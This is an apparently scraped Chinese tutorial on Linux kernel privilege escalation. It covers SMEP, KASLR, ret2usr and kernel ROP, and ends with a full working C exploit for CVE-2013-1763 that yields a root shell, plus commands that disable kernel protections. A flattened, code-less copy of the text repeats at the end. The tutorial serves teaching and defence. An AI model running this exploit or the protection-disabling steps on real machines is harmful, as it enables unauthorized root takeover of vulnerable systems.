入门学习linux内核提权
字数 1969 2025-08-25 22:59:03

Linux内核提权技术详解

0x00 前言

本文全面介绍Linux内核提权的核心技术,包括基础概念、保护机制、攻击方法以及实际漏洞分析。内容涵盖从基础理论到实践应用的完整知识体系。

0x01 内核提权基础

分级保护域(Rings)

  • 计算机中的保护机制,称为保护环(Rings)
  • 从最高特权级(Ring 0)到最低特权级(Ring 3)排列
  • Linux使用:
    • Ring 0:内核代码和驱动程序
    • Ring 3:用户程序

提权核心函数

在内核中获取root权限的核心函数调用:

commit_creds(prepare_kernel_cred(0));

这个函数分配并应用新的凭证结构(uid=0, gid=0)从而获取root权限。

0x02 内核保护措施

SMEP (Supervisor Mode Execution Protection)

  • 管理模式执行保护
  • 防止内核执行用户空间代码
  • 防御ret2usr攻击

检查SMEP是否开启:

cat /proc/cpuinfo | grep smep

SMEP位置:

  • 位于CR4寄存器的第20位
  • 示例:0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法:

  1. 修改/etc/default/grub文件:
    GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr"
    
  2. 更新grub:
    sudo update-grub
    

KASLR (Kernel Address Space Layout Randomization)

  • 内核地址空间随机化
  • 随机化内核代码和数据的地址

内核地址显示限制(kptr_restrict)

控制通过/proc等接口暴露内核地址:

  • 0:无限制
  • 1:使用%pK打印的内核指针替换为0(除非有CAP_SYSLOG权限)
  • 2:总是替换为0

禁用限制:

sudo sysctl -w kernel.kptr_restrict=0

0x03 ret2usr攻击

原理

利用内核空间能访问用户空间但用户空间不能访问内核空间的特性,重定向内核代码或数据流指向用户空间。

技术实现

  1. 在用户空间创建提权函数:

    int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
    unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
    
    void escalate_privs() {
        commit_creds(prepare_kernel_cred(0));
    }
    
  2. 覆盖内核函数指针(如ptmx_fops->release())指向用户空间payload

  3. 触发函数执行,通过iretq返回用户空间执行shell

关键结构

struct cred —— cred的基本单位
prepare_kernel_cred —— 分配并返回新的cred
commit_creds —— 应用新的cred

0x04 内核ROP技术

基本原理

当SMEP开启时,使用内核空间的ROP链绕过保护:

  1. 构造ROP链执行提权操作
  2. 不执行任何用户空间指令
  3. 通过swapgs和iretq返回用户空间

ROP链构造

典型ROP链结构:

pop rdi ; ret
NULL
prepare_kernel_cred地址
pop rdx ; ret
commit_creds地址
mov rdi, rax ; call rdx
swapgs ; pop rbp ; ret
0xdeadbeefUL
iretq
shell
CS
EFLAGS
RSP
SS

获取Gadget

  1. 解压内核镜像:

    sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
    
  2. 提取gadget:

    ROPgadget --binary vmlinux > ~/ropgadget
    

Stack Pivot技术

将ROP链放到用户空间,通过gadget将栈指针指向用户空间:

可用gadget类型:

  • mov rXx, rsp ; ret
  • add rsp, ...; ret
  • xchg rXx, rsp ; ret
  • xchg rsp, rXx ; ret

绕过SMEP的替代方法

通过ROP修改CR4寄存器第20位禁用SMEP:

offset of rip
pop rdi ; ret
mov CR4, rdi ; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS

0x05 CVE-2013-1763漏洞分析

漏洞描述

  • 影响范围:Linux kernel 3.3-3.8
  • 漏洞文件:net/core/sock_diag.c
  • 问题函数:__sock_diag_rcv_msg
  • 漏洞原因:未对sock_diag_handlers数组下标做边界检查

漏洞代码

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) {
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;
    
    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;
    
    hndl = sock_diag_lock_handler(req->sdiag_family); // 无边界检查
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh); // 可利用点
        
    sock_diag_unlock_handler(hndl);
    return err;
}

利用原理

  1. 通过netlink协议创建socket并发送特制数据包
  2. 控制sdiag_family值触发数组越界
  3. 利用hndl->dump函数指针执行任意代码

利用步骤

  1. 获取关键符号地址:

    commit_creds = 0xc10600a0;
    prepare_kernel_cred = 0xc1060360;
    
  2. 计算family偏移:

    family = (nl_table - sock_diag_handlers) / 4 = 99L
    
  3. 构造payload:

    int __attribute__((regparm(3))) kernel_code() {
        commit_creds(prepare_kernel_cred(0));
        return -1;
    }
    
  4. 内存布局:

    • mmap 0x10000-0x130000区域
    • 填充NOP指令
    • 在末尾放置跳转代码
  5. 触发漏洞:

    send(fd, &req, sizeof(req), 0);
    

完整利用代码

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
// ... 其他头文件 ...

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3))) kernel_code() {
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

int main() {
    int fd;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    
    // 创建netlink socket
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0) {
        perror("socket");
        return -1;
    }
    
    // 设置符号地址
    commit_creds = (_commit_creds)0xc10600a0;
    prepare_kernel_cred = (_prepare_kernel_cred)0xc1060360;
    
    // 构造请求
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT | NLM_F_MATCH | NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    req.r.sdiag_family = 99; // 精心计算的偏移
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
    
    // 内存布局
    unsigned long mmap_start = 0x10000;
    unsigned long mmap_size = 0x120000;
    void *mapped = mmap((void*)mmap_start, mmap_size, 
                       PROT_READ|PROT_WRITE|PROT_EXEC,
                       MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
    
    // 填充NOP
    memset(mapped, 0x90, mmap_size);
    
    // 构造跳转代码
    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3";
    unsigned long *target = (unsigned long *)&jump[4];
    *target = (unsigned long)kernel_code;
    
    // 将跳转代码放在内存区域末尾
    memcpy((void*)(mmap_start + mmap_size - sizeof(jump)), jump, sizeof(jump));
    
    // 触发漏洞
    send(fd, &req, sizeof(req), 0);
    
    // 获取shell
    system("/bin/sh");
    return 0;
}

0x06 防御措施

  1. 保持内核更新,及时打补丁
  2. 启用SMEP/SMAP/KASLR等保护机制
  3. 限制/proc/kallsyms等敏感信息的访问
  4. 使用grsecurity/PaX等增强安全性的补丁

0x07 参考资源

  1. SMEP绕过技术:http://cyseclabs.com/slides/smep_bypass.pdf
  2. ret2dir攻击:http://www.cnblogs.com/0xJDchen/p/6143102.html
  3. 内核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/
  4. 内核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
  5. CVE-2013-1763漏洞分析:https://my.oschina.net/fgq611/blog/181812
Linux内核提权技术详解 0x00 前言 本文全面介绍Linux内核提权的核心技术,包括基础概念、保护机制、攻击方法以及实际漏洞分析。内容涵盖从基础理论到实践应用的完整知识体系。 0x01 内核提权基础 分级保护域(Rings) 计算机中的保护机制,称为保护环(Rings) 从最高特权级(Ring 0)到最低特权级(Ring 3)排列 Linux使用: Ring 0:内核代码和驱动程序 Ring 3:用户程序 提权核心函数 在内核中获取root权限的核心函数调用: 这个函数分配并应用新的凭证结构(uid=0, gid=0)从而获取root权限。 0x02 内核保护措施 SMEP (Supervisor Mode Execution Protection) 管理模式执行保护 防止内核执行用户空间代码 防御ret2usr攻击 检查SMEP是否开启: SMEP位置: 位于CR4寄存器的第20位 示例:0x1407f0 = 0001 0100 0000 0111 1111 0000 关闭SMEP方法: 修改 /etc/default/grub 文件: 更新grub: KASLR (Kernel Address Space Layout Randomization) 内核地址空间随机化 随机化内核代码和数据的地址 内核地址显示限制(kptr_ restrict) 控制通过/proc等接口暴露内核地址: 0:无限制 1:使用%pK打印的内核指针替换为0(除非有CAP_ SYSLOG权限) 2:总是替换为0 禁用限制: 0x03 ret2usr攻击 原理 利用内核空间能访问用户空间但用户空间不能访问内核空间的特性,重定向内核代码或数据流指向用户空间。 技术实现 在用户空间创建提权函数: 覆盖内核函数指针(如ptmx_ fops->release())指向用户空间payload 触发函数执行,通过iretq返回用户空间执行shell 关键结构 0x04 内核ROP技术 基本原理 当SMEP开启时,使用内核空间的ROP链绕过保护: 构造ROP链执行提权操作 不执行任何用户空间指令 通过swapgs和iretq返回用户空间 ROP链构造 典型ROP链结构: 获取Gadget 解压内核镜像: 提取gadget: Stack Pivot技术 将ROP链放到用户空间,通过gadget将栈指针指向用户空间: 可用gadget类型: mov rXx, rsp ; ret add rsp, ...; ret xchg rXx, rsp ; ret xchg rsp, rXx ; ret 绕过SMEP的替代方法 通过ROP修改CR4寄存器第20位禁用SMEP: 0x05 CVE-2013-1763漏洞分析 漏洞描述 影响范围:Linux kernel 3.3-3.8 漏洞文件:net/core/sock_ diag.c 问题函数: __sock_diag_rcv_msg 漏洞原因:未对 sock_diag_handlers 数组下标做边界检查 漏洞代码 利用原理 通过netlink协议创建socket并发送特制数据包 控制 sdiag_family 值触发数组越界 利用 hndl->dump 函数指针执行任意代码 利用步骤 获取关键符号地址: 计算family偏移: 构造payload: 内存布局: mmap 0x10000-0x130000区域 填充NOP指令 在末尾放置跳转代码 触发漏洞: 完整利用代码 0x06 防御措施 保持内核更新,及时打补丁 启用SMEP/SMAP/KASLR等保护机制 限制/proc/kallsyms等敏感信息的访问 使用grsecurity/PaX等增强安全性的补丁 0x07 参考资源 SMEP绕过技术:http://cyseclabs.com/slides/smep_ bypass.pdf ret2dir攻击:http://www.cnblogs.com/0xJDchen/p/6143102.html 内核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/ 内核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/ CVE-2013-1763漏洞分析:https://my.oschina.net/fgq611/blog/181812